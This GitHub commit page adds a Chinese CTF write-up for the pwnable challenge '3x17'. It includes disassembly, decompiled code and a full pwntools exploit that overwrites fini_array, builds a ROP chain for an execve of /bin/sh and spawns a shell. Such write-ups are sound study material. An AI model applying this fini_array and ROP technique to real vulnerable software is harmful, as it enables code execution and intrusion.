-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
AvavaAYA
committed
Mar 5, 2022
1 parent
45011a3
commit 678d687
Showing
34 changed files
with
1,299 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,228 @@ | ||
--- | ||
title: 3x17 | ||
description: pwnable | elf文件格式 | ROP | ||
--- | ||
<!--more--> | ||
|
||
##题目考点 | ||
- elf文件格式 | ||
- ROP | ||
|
||
-------- | ||
|
||
##解题思路 | ||
|
||
先checksec,amd64,有nx(其实也有canary但没检测出来),没开PIE,拖入ida进行分析,发现扣掉了符号表; | ||
readelf -h一下,找到程序入口点,标准的start函数: | ||
|
||
```asm | ||
; Attributes: noreturn fuzzy-sp | ||
public start | ||
start proc near | ||
; __unwind { | ||
xor ebp, ebp | ||
mov r9, rdx | ||
pop rsi | ||
mov rdx, rsp | ||
and rsp, 0FFFFFFFFFFFFFFF0h | ||
push rax | ||
push rsp | ||
mov r8, offset sub_402960 ;r8中存入libc_csu_fini()地址 | ||
mov rcx, offset sub_4028D0 ;rcx中存入libc_csu_init()地址 | ||
mov rdi, offset sub_401B6D ;rdi中存入main()地址 | ||
db 67h | ||
call sub_401EB0 ;call libc_start_main()函数 | ||
hlt | ||
; } // starts at 401A50 | ||
start endp | ||
``` | ||
|
||
根据elf文件的标准格式,获得main()等主要函数地址,先对主函数进行分析: | ||
|
||
```c | ||
int __cdecl main(int argc, const char **argv, const char **envp) | ||
{ | ||
int result; // eax | ||
char *v4; // [rsp+8h] [rbp-28h] | ||
char buf; // [rsp+10h] [rbp-20h] | ||
unsigned __int64 v6; // [rsp+28h] [rbp-8h] | ||
|
||
v6 = __readfsqword(0x28u); //canary | ||
result = (unsigned __int8)++byte_4B9330; //可以char溢出(每过0x100次循环又重新归零),对解题影响不大 | ||
if ( byte_4B9330 == 1 ) | ||
{ | ||
sub_446EC0(1u, "addr:", 5uLL); | ||
sub_446E20(0, &buf, 0x18uLL); | ||
v4 = (char *)(int)sub_40EE70(&buf); | ||
sub_446EC0(1u, "data:", 5uLL); | ||
sub_446E20(0, v4, 0x18uLL); | ||
result = 0; | ||
} | ||
if ( __readfsqword(0x28u) != v6 ) | ||
sub_44A3E0(); | ||
return result; | ||
} | ||
``` | ||
在主函数的逻辑中,可以看到程序先读取了一个地址(int型),然后将其作为字符型指针,可以在该地址上写入0x18的数据; | ||
因此,可以通过反复调用main函数在合适的地方构造ROP链,实现无限次的任意地址写入从而getshell; | ||
根据对elf程序结构的了解,可以知道程序执行完main函数后,会执行_libc_csu_fini函数: | ||
```asm | ||
_libc_csu_fini proc near | ||
; __unwind { | ||
push rbp ;func prologue | ||
lea rax, unk_4B4100 ;rax = 0x4B4100 | ||
lea rbp, off_4B40F0 ;rbp = 0x4B40F0 | ||
push rbx | ||
sub rax, rbp ;即函数数组长度 | ||
sub rsp, 8 | ||
sar rax, 3 ;0x10 -> 0x02(16 bytes -> 2 个64位地址) | ||
jz short loc_402996 | ||
lea rbx, [rax-1] | ||
nop dword ptr [rax+00000000h] | ||
loc_402988: | ||
call qword ptr [rbp+rbx*8+0] ;先执行(*(rbp + 8))(), 再执行(*rbp)() | ||
sub rbx, 1 | ||
cmp rbx, 0FFFFFFFFFFFFFFFFh | ||
jnz short loc_402988 | ||
loc_402996: | ||
add rsp, 8 | ||
pop rbx | ||
pop rbp | ||
jmp _term_proc | ||
; } // starts at 402960 | ||
_libc_csu_fini endp | ||
``` | ||
|
||
根据上述分析,发现可以通过修改0x4B40F0处 fini_array[2] 中元素的值,达到无限次循环调用_libc_csu_fini与main函数的目的,进而构造rop链getshell: | ||
|
||
```py | ||
#构造fini_array,使得程序可以无限次进入main函数 | ||
main_addr = 0x401B6D | ||
fini_addr = 0x402960 | ||
fini_array= 0x4B40F0 | ||
p.recvuntil(b'addr:') | ||
p.send(str(fini_array).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(p64(fini_addr) + p64(main_addr)) | ||
``` | ||
|
||
```py | ||
#构造ROP链 | ||
prdi = 0x401696 | ||
pdxsi= 0x44a309 | ||
prax = 0x41e4af | ||
sysc = 0x4022b4 | ||
bufad= 0x4B9300 #到.bss段随便找个位置放"/bin/sh\x00" | ||
bufda= b'/bin/sh\x00' | ||
p.recvuntil(b'addr:') | ||
p.send(str(fini_array + 0x10).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(p64(pdxsi)) | ||
|
||
p.recvuntil(b'addr:') | ||
p.send(str(fini_array + 0x18).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(p64(0) + p64(0)) | ||
|
||
p.recvuntil(b'addr:') | ||
p.send(str(fini_array + 0x28).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(p64(prdi) + p64(bufad)) | ||
|
||
p.recvuntil(b'addr:') | ||
p.send(str(fini_array + 0x38).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(p64(prax) + p64(0x3b)) | ||
|
||
p.recvuntil(b'addr:') | ||
p.send(str(fini_array + 0x48).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(p64(sysc)) | ||
|
||
p.recvuntil(b'addr:') | ||
p.send(str(bufad).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(bufda) | ||
``` | ||
|
||
至于rop链构造的位置,通过分析_libc_csu_fini函数以及fini_array地址附近可以发现,_fini_array附近有一片连续的可利用的地址空间且rbp值被设置为0x4B40F0,至于rsp的值可以通过leave;ret;语句来进行调整: | ||
最初rbp指向0f0 - 0x8(libccsufini函数中有push rbx操作),不能直接leave;ret; | ||
这里有两种选择: 仍然使finiarray[1] 为main函数地址,而后leaveret,或者先ret再leaveret; | ||
(leave == mov rsp, rbp; pop rbp) | ||
(ret == pop rip) | ||
|
||
```py | ||
#调整rbp,rsp,getshell | ||
leaveret = 0x401c4b | ||
p.recvuntil(b'addr:') | ||
p.send(str(fini_array).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(p64(leaveret)) | ||
``` | ||
|
||
##exploit | ||
直接组合起来即可getshell | ||
```py | ||
from pwn import * | ||
|
||
p = process("./3x17") | ||
|
||
#构造fini_array,使得程序可以无限次进入main函数 | ||
main_addr = 0x401B6D | ||
fini_addr = 0x402960 | ||
fini_array= 0x4B40F0 | ||
p.recvuntil(b'addr:') | ||
p.send(str(fini_array).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(p64(fini_addr) + p64(main_addr)) | ||
|
||
#构造ROP链 | ||
prdi = 0x401696 | ||
pdxsi= 0x44a309 | ||
prax = 0x41e4af | ||
sysc = 0x4022b4 | ||
bufad= 0x4B9300 #到.bss段随便找个位置放"/bin/sh\x00" | ||
bufda= b'/bin/sh\x00' | ||
p.recvuntil(b'addr:') | ||
p.send(str(fini_array + 0x10).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(p64(pdxsi)) | ||
|
||
p.recvuntil(b'addr:') | ||
p.send(str(fini_array + 0x18).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(p64(0) + p64(0)) | ||
|
||
p.recvuntil(b'addr:') | ||
p.send(str(fini_array + 0x28).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(p64(prdi) + p64(bufad)) | ||
|
||
p.recvuntil(b'addr:') | ||
p.send(str(fini_array + 0x38).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(p64(prax) + p64(0x3b)) | ||
|
||
p.recvuntil(b'addr:') | ||
p.send(str(fini_array + 0x48).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(p64(sysc)) | ||
|
||
p.recvuntil(b'addr:') | ||
p.send(str(bufad).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(bufda) | ||
#调整rbp,rsp,getshell | ||
leaveret = 0x401c4b | ||
p.recvuntil(b'addr:') | ||
p.send(str(fini_array).encode()) | ||
p.recvuntil(b'data:') | ||
p.send(p64(leaveret)) | ||
|
||
p.interactive() | ||
``` |
Binary file not shown.
Oops, something went wrong.